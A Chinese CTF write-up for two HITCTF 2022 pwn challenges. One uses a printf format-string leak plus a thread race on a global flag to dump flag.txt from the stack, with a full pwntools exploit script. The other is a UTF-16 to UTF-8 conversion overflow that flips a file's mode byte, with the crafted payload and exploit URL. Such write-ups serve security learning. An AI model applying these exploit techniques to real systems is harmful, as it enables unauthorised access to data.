HITCTF 2022 的两个pwn题 time 和 doc

HITCTF两个pwn题练习

pwn2 TIME

题目附件:pwn2.zip

漏洞点

1、prirntf格式化字符串 - 信息泄露

global_name是我们输入的字符串,通过%p可以泄露栈上的信息。

image-20221127040430586

这个字符串的长度限制是0xff,所以还是可以泄露挺多东西的

image-20221127040543977

2、条件竞争race condition

pthread_create起子进程执行display(v1)

image-20221127040920775

重点看这个位置,a1为1表示我们输入的是想访问flag.txt,否则就是访问old_flag.txt。is_secret_file是bss段的全局变量,不同的线程根据输入的不同,会将is_secret_file的值改成0或者1

image-20221127040954125

a1和is_secret_file是在check_file_name()中设置的,这个函数的设置保护了flag.txt不会被直接读取到

image-20221127042437880

但是is_secret_file是全局变量,所有子线程都会访问并改变该变量。考虑下面这种条件竞争时的情况

image-20221127050028893

线程1本来a1为1,is_secret_file为1,file_name为”flag.txt”,是不满足进入dispaly_file_content()这一分支中的。但是由于有多个线程,且is_secret_file是共享变量。如果线程2此时正好运行到将is_secret_file赋值为0这里。当再次切换回到线程1时,由于is_secret_file为0,进入dispaly_file_content()这一分支。此时就会读取”flag.txt”继续处理。

虽然直接打印出来的内容时MD4哈希过的,根据这个内容无法恢复出原本的flag内容

image-20221127050755218

但是,在dispaly_file_content()函数中,可以看到会将flag.txt的内容拷贝到栈上。

image-20221127050730636

于是结合第一个格式化字符串,可以将flag泄露出来。

利用

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
##!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(arch="i386",os="linux",log_level="debug")
context(arch="i386",os="linux",log_level="error")

# io = process('./time')
io = remote("122.114.225.151",10000)

# gdb.attach(io, "b *0x401147 \n c")

# sleep(1)
# io.recvuntil("Who are you?")



# io.sendlineafter("Who are you?",b"%p "*95) # gloabl_name
io.sendlineafter("Who are you?",b"%p "*80) # gloabl_name
io.sendlineafter("2.old_flag.txt",b"1") # check_file_name()

# io.sendlineafter("2.old_flag.txt",b"1")
# io.sendlineafter("2.old_flag.txt",b"2")
io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
io.sendline(b"2")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"2")
sleep(1)
io.recvuntil("2.old_flag.txt")
io.sendline(b"1")
io.sendline(b"1")

io.interactive()

从栈中dump出flag.txt的信息

image-20221127035038459

利用脚本快速解析

1
2
3
4
5
6
7
from pwn import *

a = [0x3032465443544948, 0x2d656d69747b3232, 0x6c69662d612d7369, 0x772d746168742d65, 0x646e612d73726165, 0x6e2d73656b616d2d, 0x7d6573696f6e2d6f, 0xa]
result = b""
for i in a:
result += p64(i)
print(result)

得到flag

image-20221127035124249

pwn3 DOC

题目附件:pwn3.zip

简单解析

漏洞点在这里

image-20221129164901127

max的初始值是0x800(2048 bytes),我们只需关注最后两轮的情况。当前面已转换2045 bytes的utf-8字符,而最后一个utf-16转成utf-8后是4字节时,就会覆盖到2049字节处。而2049位置处正好是flag.doc的mode,将mode改为0,在网页上通过http://122.114.225.168:10052/doc/extract_many?files=user0.doc|flag.doc就能查看到flag内容。

exp.doc

构造的doc文档内容是:"a"*512 + "b"*512 + "c"*512 + "嘀"*167 + "特殊字符"*3,这串utf-16字符转成utf-8后,正好是2049字节。

以上描述中的特殊字符是指4字节的utf-8字符,从以下链接中随意找一个使用即可

UTF-8 4-BYTE CHARACTER CHART

1
2
3
4
5
6
7
8
9
10
>>> a = "嘀"
>>> a.encode("utf-8")
b'\xe5\x98\x80'
>>> a.encode("utf-16")
b'\xff\xfe\x00V'

>>> b = "𝄔"
>>> b.encode("utf-8")
b'\xf0\x9d\x84\x94'
>>> b.encode("utf-16")

167个”嘀”+3个”𝄔”,转换成UTF-8后,占据167*3+3*4 = 513 ,正好覆盖到flag.txt的mode,将其改成非0值。

什么是CGI

如何使用 CGI 脚本生成网页 这篇文章讲了静态html网页到动态html网页的发展过程,引入了CGI。

转!!常用的4种动态网页技术—CGI、ASP、JSP、PHP 这篇文章描述了CGI的概念:客户端可以向web服务器上指定的CGI程序发起请求。web服务器收到该请求后会启动一个新的进程执行这个CGI程序,最后将程序运行的结果以网页的形式回给客户端。可以用c/c++/vb/perl等语言编写。

字符编码

A Short History Of Character Encoding

字符编码的历史:EBDIC -> ASCII(7 bits) -> ISO/IEC 8859 family & Windows 12xx family(8 bits) -> Unicode

Unicode 和 UTF-8 有什么区别?

字符串在Python内部是如何省内存的

细说:Unicode, UTF-8, UTF-16, UTF-32, UCS-2, UCS-4

Unicode、UTF-8、UTF-16、UCS-2编码区别

“中日韩统一表意文字”对应的unicode值